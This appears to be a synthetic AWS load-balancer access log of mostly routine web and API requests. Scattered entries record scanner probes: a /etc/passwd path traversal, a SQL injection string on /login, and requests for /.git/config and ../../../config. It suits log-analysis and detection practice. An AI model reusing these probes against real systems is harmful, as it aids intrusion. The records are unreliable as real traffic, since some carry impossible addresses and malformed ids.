0.026162 0.009174 200 200 595 9342 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c3f7-30b99164d34b4ca691033b34" "prod-web-alb.example.com" "-" 9 2024-11-01T00:52:55.460125Z "forward" "-" "-" "10.0.235.8:443" "200" "-" "-" -https 2024-11-01T00:52:56.347704Z prod-web-alb 112.251.34.184:24795 10.0.162.239:443 0.025374 0.073624 0.013892 404 404 12 388 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c3f8-93f753a8b4104b56867988e1" "prod-web-alb.example.com" "-" 5 2024-11-01T00:52:56.347704Z "forward" "-" "-" "10.0.162.239:443" "404" "-" "-" -https 2024-11-01T00:52:57.297225Z prod-api-alb 48.189.203.120:41237 10.0.53.192:443 0.017528 0.031283 0.068449 200 200 258 2662 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c3f9-915e08f117b64ae7b00ff3d0" "prod-api-alb.example.com" "-" 4 2024-11-01T00:52:57.297225Z "forward" "-" "-" "10.0.53.192:443" "200" "-" "-" -https 2024-11-01T00:52:57.469544Z prod-web-alb 193.27.228.120:12884 10.0.61.227:443 0.071775 0.391345 0.066773 403 403 613 13027 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "dirbuster/1.0-RC1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c3f9-56bba473a48a44ec84ecac7c" "-" "-" 4 2024-11-01T00:52:57.469544Z "forward" "-" "-" "10.0.61.227:443" "403" "-" "-" -https 2024-11-01T00:52:57.994049Z prod-api-alb 177.152.19.207:23135 10.0.123.204:443 0.039292 0.107416 0.090893 200 200 743 13394 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c3f9-09be81019a9740a58b5e70a6" "prod-api-alb.example.com" "-" 2 2024-11-01T00:52:57.994049Z "forward" "-" "-" "10.0.123.204:443" "200" "-" "-" -http 2024-11-01T00:52:59.205183Z staging-alb 87.170.249.162:47781 71.189.142.99:80 0.142153 0.043141 0.095984 200 200 881 11713 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c3fb-da58b9d0d9bb4ff3a194138e" "staging-alb.example.com" "-" 9 2024-11-01T00:52:59.205183Z "forward" "-" "-" "71.189.142.99:80" "200" "-" "-" -https 2024-11-01T00:53:00.431376Z prod-web-alb 93.250.36.55:40287 10.0.24.10:443 0.010888 0.086645 0.049132 404 404 74 14083 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c3fc-a67afdd0cdff49f9940de54b" "prod-web-alb.example.com" "-" 9 2024-11-01T00:53:00.431376Z "forward" "-" "-" "10.0.24.10:443" "404" "-" "-" -http 2024-11-01T00:53:01.852426Z staging-alb 105.181.108.95:27850 36.81.34.246:80 0.126720 0.645373 0.119448 200 200 457 14235 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c3fd-e67a1d9c56df42ef8fb683fa" "staging-alb.example.com" "-" 1 2024-11-01T00:53:01.852426Z "forward" "-" "-" "36.81.34.246:80" "200" "-" "-" -https 2024-11-01T00:53:03.172709Z prod-api-alb 158.242.95.135:46054 10.0.126.99:443 0.007081 0.238961 0.091757 200 200 838 12301 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c3ff-5a4bf912625941bcbec8ad82" "prod-api-alb.example.com" "-" 3 2024-11-01T00:53:03.172709Z "forward" "-" "-" "10.0.126.99:443" "200" "-" "-" -https 2024-11-01T00:53:04.249035Z prod-web-alb 84.219.45.117:46876 10.0.252.38:443 0.081138 0.082677 0.088359 200 200 921 359 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c400-fb90cb4e24da4b7aa5cfab15" "prod-web-alb.example.com" "-" 6 2024-11-01T00:53:04.249035Z "forward" "-" "-" "10.0.252.38:443" "200" "-" "-" -https 2024-11-01T00:53:04.742086Z prod-api-alb 3.244.151.160:63814 10.0.229.105:443 0.041258 0.132237 0.004353 200 200 579 14346 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c400-265a08027c7741e08ae747d3" "-" "-" 8 2024-11-01T00:53:04.742086Z "forward" "-" "-" "10.0.229.105:443" "200" "-" "-" -https 2024-11-01T00:53:05.573744Z prod-api-alb 241.58.233.158:24736 10.0.135.240:443 0.098482 0.004178 0.071059 404 404 41 14859 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c401-feea720680dd4d76b7d37edb" "prod-api-alb.example.com" "-" 7 2024-11-01T00:53:05.573744Z "forward" "-" "-" "10.0.135.240:443" "404" "-" "-" -https 2024-11-01T00:53:07.019688Z prod-api-alb 133.109.75.105:15472 10.0.233.76:443 0.007576 0.238355 0.045436 404 404 968 3991 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c403-382adf27fba542da8957edfa" "prod-api-alb.example.com" "-" 3 2024-11-01T00:53:07.019688Z "forward" "-" "-" "10.0.233.76:443" "404" "-" "-" -https 2024-11-01T00:53:08.019096Z staging-alb 182.31.162.196:32513 202.171.75.6:443 0.028784 0.440176 0.111201 200 200 525 12318 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c404-7ae656a6b8ab44ababb86747" "staging-alb.example.com" "-" 6 2024-11-01T00:53:08.019096Z "forward" "-" "-" "202.171.75.6:443" "200" "-" "-" -https 2024-11-01T00:53:09.144377Z staging-alb 96.56.197.75:31391 202.60.36.75:443 0.083272 0.583506 0.123586 200 200 474 5097 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c405-4a82d9f61db745a4adf64296" "staging-alb.example.com" "-" 3 2024-11-01T00:53:09.144377Z "forward" "-" "-" "202.60.36.75:443" "200" "-" "-" -https 2024-11-01T00:53:10.788252Z prod-web-alb 97.147.188.35:42755 10.0.147.200:443 0.023093 0.013048 0.063336 301 301 164 2608 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c406-dba4cceac433450eb0ea2190" "prod-web-alb.example.com" "-" 3 2024-11-01T00:53:10.788252Z "forward" "-" "-" "10.0.147.200:443" "301" "-" "-" -https 2024-11-01T00:53:11.048886Z prod-api-alb 152.68.157.158:38935 10.0.112.204:443 0.004143 0.307269 0.049172 200 200 172 13440 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c407-ab2e3849e2f642f0885c66de" "prod-api-alb.example.com" "-" 6 2024-11-01T00:53:11.048886Z "forward" "-" "-" "10.0.112.204:443" "200" "-" "-" -https 2024-11-01T00:53:11.966980Z prod-api-alb 178.97.165.46:32725 10.0.37.1:443 0.046965 0.424344 0.097109 302 302 771 14451 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c407-5488df455ebc4a9ab3d0fedc" "prod-api-alb.example.com" "-" 3 2024-11-01T00:53:11.966980Z "forward" "-" "-" "10.0.37.1:443" "302" "-" "-" -https 2024-11-01T00:53:12.672326Z prod-web-alb 22.72.128.122:56148 10.0.221.11:443 0.049468 0.184797 0.052748 200 200 419 12988 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c408-c8dc7df1c4a641fca2dd84b1" "prod-web-alb.example.com" "-" 2 2024-11-01T00:53:12.672326Z "forward" "-" "-" "10.0.221.11:443" "200" "-" "-" -https 2024-11-01T00:53:13.997627Z prod-api-alb 3.77.136.149:20802 10.0.69.108:443 0.092841 0.414186 0.047697 302 302 957 6246 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c409-1896b88b76a64441ab607a1f" "prod-api-alb.example.com" "-" 1 2024-11-01T00:53:13.997627Z "forward" "-" "-" "10.0.69.108:443" "302" "-" "-" -https 2024-11-01T00:53:15.948504Z prod-api-alb 47.78.217.192:30819 10.0.84.95:443 0.064283 0.154552 0.089356 200 200 626 13277 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c40b-3718d964117c4884acc0c327" "prod-api-alb.example.com" "-" 1 2024-11-01T00:53:15.948504Z "forward" "-" "-" "10.0.84.95:443" "200" "-" "-" -http 2024-11-01T00:53:16.667867Z staging-alb 13.242.249.188:22915 131.47.8.34:443 0.079803 0.484936 0.048459 301 301 55 5696 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c40c-bc7abf6bafe04abaae7aace4" "staging-alb.example.com" "-" 4 2024-11-01T00:53:16.667867Z "forward" "-" "-" "131.47.8.34:443" "301" "-" "-" -https 2024-11-01T00:53:18.102800Z prod-api-alb 127.136.93.33:35942 10.0.81.223:443 0.004421 0.135087 0.025974 301 301 549 11755 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c40e-4389d0755d1e40f0a3fe13ac" "prod-api-alb.example.com" "-" 9 2024-11-01T00:53:18.102800Z "forward" "-" "-" "10.0.81.223:443" "301" "-" "-" -https 2024-11-01T00:53:18.993983Z prod-web-alb 215.191.226.103:59024 10.0.114.83:443 0.001047 0.165749 0.042642 301 301 700 11174 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c40e-eb01358c6a61469a92985a7e" "prod-web-alb.example.com" "-" 1 2024-11-01T00:53:18.993983Z "forward" "-" "-" "10.0.114.83:443" "301" "-" "-" -https 2024-11-01T00:53:20.210333Z prod-api-alb 191.16.30.207:53630 10.0.124.100:443 0.029348 0.329461 0.086570 301 301 951 11933 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c410-94615df3e785456cbdaa6660" "-" "-" 5 2024-11-01T00:53:20.210333Z "forward" "-" "-" "10.0.124.100:443" "301" "-" "-" -https 2024-11-01T00:53:22.173339Z staging-alb 82.144.76.244:51076 58.10.4.161:8080 0.104699 0.245396 0.112018 302 302 163 354 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c412-f15946cf0e404a2aa11bf4c7" "staging-alb.example.com" "-" 6 2024-11-01T00:53:22.173339Z "forward" "-" "-" "58.10.4.161:8080" "302" "-" "-" -https 2024-11-01T00:53:22.764925Z prod-api-alb 4.243.6.62:48008 10.0.235.195:443 0.047613 0.458063 0.093840 200 200 820 12261 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c412-3cf1080f2c6d4f1b9895f8d6" "prod-api-alb.example.com" "-" 8 2024-11-01T00:53:22.764925Z "forward" "-" "-" "10.0.235.195:443" "200" "-" "-" -https 2024-11-01T00:53:22.910594Z prod-web-alb 141.13.176.37:57382 10.0.8.125:443 0.017962 0.139986 0.058342 302 302 661 7172 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c412-f54a753f94a642bd9b1da62a" "prod-web-alb.example.com" "-" 5 2024-11-01T00:53:22.910594Z "forward" "-" "-" "10.0.8.125:443" "302" "-" "-" -https 2024-11-01T00:53:24.863500Z prod-api-alb 208.72.18.80:25848 10.0.21.128:443 0.089566 0.095158 0.016557 200 200 887 3525 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c414-64d80865b1404449850a3fa6" "prod-api-alb.example.com" "-" 0 2024-11-01T00:53:24.863500Z "forward" "-" "-" "10.0.21.128:443" "200" "-" "-" -http 2024-11-01T00:53:25.358742Z staging-alb 162.163.246.19:40875 11.191.194.17:443 0.078815 0.379497 0.141453 301 301 122 9224 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c415-04919c0b897a4f599c840ea5" "staging-alb.example.com" "-" 8 2024-11-01T00:53:25.358742Z "forward" "-" "-" "11.191.194.17:443" "301" "-" "-" -https 2024-11-01T00:53:25.775184Z staging-alb 223.39.234.54:28839 174.202.70.200:443 0.053048 0.016348 0.129904 301 301 969 9587 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c415-7a8855fe5fd541cd9b167cd3" "staging-alb.example.com" "-" 9 2024-11-01T00:53:25.775184Z "forward" "-" "-" "174.202.70.200:443" "301" "-" "-" -https 2024-11-01T00:53:27.243364Z prod-api-alb 153.26.224.251:51617 10.0.71.200:443 0.035289 0.374450 0.076082 200 200 384 3462 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c417-2b47bb2f8ffd422cbec1a422" "prod-api-alb.example.com" "-" 8 2024-11-01T00:53:27.243364Z "forward" "-" "-" "10.0.71.200:443" "200" "-" "-" -http 2024-11-01T00:53:28.130879Z staging-alb 29.250.237.242:36092 74.84.143.232:8080 0.100077 0.399647 0.101587 200 200 703 5631 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c418-4c925c1ff1c24208a84396e3" "staging-alb.example.com" "-" 0 2024-11-01T00:53:28.130879Z "forward" "-" "-" "74.84.143.232:8080" "200" "-" "-" -https 2024-11-01T00:53:28.695761Z prod-api-alb 74.189.127.42:54817 10.0.20.100:443 0.083435 0.413935 0.043478 200 200 734 13026 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c418-f9d02eb23dfd4cd984f06ba6" "prod-api-alb.example.com" "-" 2 2024-11-01T00:53:28.695761Z "forward" "-" "-" "10.0.20.100:443" "200" "-" "-" -http 2024-11-01T00:53:29.349140Z staging-alb 121.33.234.151:29342 74.30.89.215:80 0.004914 0.063138 0.019138 302 302 588 13617 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c419-b111a24d366c4a63ae0e903d" "staging-alb.example.com" "-" 9 2024-11-01T00:53:29.349140Z "forward" "-" "-" "74.30.89.215:80" "302" "-" "-" -https 2024-11-01T00:53:30.067473Z prod-api-alb 193.27.228.131:58424 10.0.43.136:443 0.057058 0.165329 0.080783 500 500 686 2011 "POST /login?id=1'-- HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c41a-626784ad6e214912ae120f75" "-" "-" 3 2024-11-01T00:53:30.067473Z "forward" "-" "-" "10.0.43.136:443" "500" "-" "-" -https 2024-11-01T00:53:31.473796Z prod-web-alb 3.50.42.233:12123 10.0.140.22:443 0.039114 0.101870 0.073347 200 200 764 14279 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c41b-004461f20dc5411985f2dff6" "prod-web-alb.example.com" "-" 7 2024-11-01T00:53:31.473796Z "forward" "-" "-" "10.0.140.22:443" "200" "-" "-" -https 2024-11-01T00:53:32.026008Z prod-api-alb 48.117.136.42:26206 10.0.237.3:443 0.015639 0.031915 0.040942 302 302 129 1941 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c41c-8aaf0f24a5cd49a49d9a80e5" "prod-api-alb.example.com" "-" 4 2024-11-01T00:53:32.026008Z "forward" "-" "-" "10.0.237.3:443" "302" "-" "-" -http 2024-11-01T00:53:33.138325Z staging-alb 8.203.164.189:15875 193.153.183.12:443 0.121506 0.390274 0.022193 200 200 228 14084 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c41d-65ad1ce79daf4ee2befb5601" "staging-alb.example.com" "-" 6 2024-11-01T00:53:33.138325Z "forward" "-" "-" "193.153.183.12:443" "200" "-" "-" -https 2024-11-01T00:53:34.941104Z prod-web-alb 185.181.110.51:56537 10.0.230.206:443 0.034097 0.209158 0.030189 403 403 666 4936 "POST /.git/config HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c41e-a1a4222058644935a19ec0f8" "-" "-" 8 2024-11-01T00:53:34.941104Z "forward" "-" "-" "10.0.230.206:443" "403" "-" "-" -http 2024-11-01T00:53:35.315189Z staging-alb 185.181.60.141:35118 221.99.17.102:8080 0.049726 0.658620 0.141142 403 403 384 5062 "GET /api/../../../config HTTP/1.1" "Acunetix-Agent" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c41f-efc1016bc539476f854645d3" "-" "-" 5 2024-11-01T00:53:35.315189Z "forward" "-" "-" "221.99.17.102:8080" "403" "-" "-" -http 2024-11-01T00:53:36.063227Z staging-alb 235.29.199.13:28893 119.37.244.41:8080 0.095779 0.393264 0.067597 404 404 221 1305 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c420-7f248477b5fa4058b293e9c3" "staging-alb.example.com" "-" 10 2024-11-01T00:53:36.063227Z "forward" "-" "-" "119.37.244.41:8080" "404" "-" "-" -https 2024-11-01T00:53:37.802519Z prod-api-alb 145.86.202.150:63915 10.0.41.163:443 0.027051 0.218940 0.091157 301 301 691 6748 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c421-69e82b6071154fabaa4dfb81" "prod-api-alb.example.com" "-" 10 2024-11-01T00:53:37.802519Z "forward" "-" "-" "10.0.41.163:443" "301" "-" "-" -https 2024-11-01T00:53:38.588954Z prod-web-alb 42.22.253.139:45221 10.0.66.217:443 0.093200 0.044394 0.009569 404 404 545 207 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c422-c4b428cf6c644f3e929d184e" "prod-web-alb.example.com" "-" 7 2024-11-01T00:53:38.588954Z "forward" "-" "-" "10.0.66.217:443" "404" "-" "-" -https 2024-11-01T00:53:40.587769Z prod-web-alb 50.212.77.108:19840 10.0.128.38:443 0.028827 0.113854 0.030241 301 301 252 9020 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c424-75656b863a8449c1aa3a036b" "prod-web-alb.example.com" "-" 2 2024-11-01T00:53:40.587769Z "forward" "-" "-" "10.0.128.38:443" "301" "-" "-" -https 2024-11-01T00:53:41.239148Z prod-api-alb 174.90.242.9:53941 10.0.145.25:443 0.068824 0.358185 0.033654 200 200 810 1458 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c425-e171d031ed7f4a4b9c9412fa" "prod-api-alb.example.com" "-" 6 2024-11-01T00:53:41.239148Z "forward" "-" "-" "10.0.145.25:443" "200" "-" "-" -https 2024-11-01T00:53:42.036792Z prod-api-alb 193.27.228.181:63983 10.0.167.22:443 0.042522 0.360195 0.083207 403 403 976 7199 "GET /api/../../../config HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c426-1e6bb140f0b94a6dab4540fe" "-" "-" 5 2024-11-01T00:53:42.036792Z "forward" "-" "-" "10.0.167.22:443" "403" "-" "-" -https 2024-11-01T00:53:43.456307Z prod-web-alb 225.215.74.166:32789 10.0.24.228:443 0.036255 0.205014 0.061617 200 200 490 4319 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c427-0f73e75299da4ce3a09c4762" "prod-web-alb.example.com" "-" 9 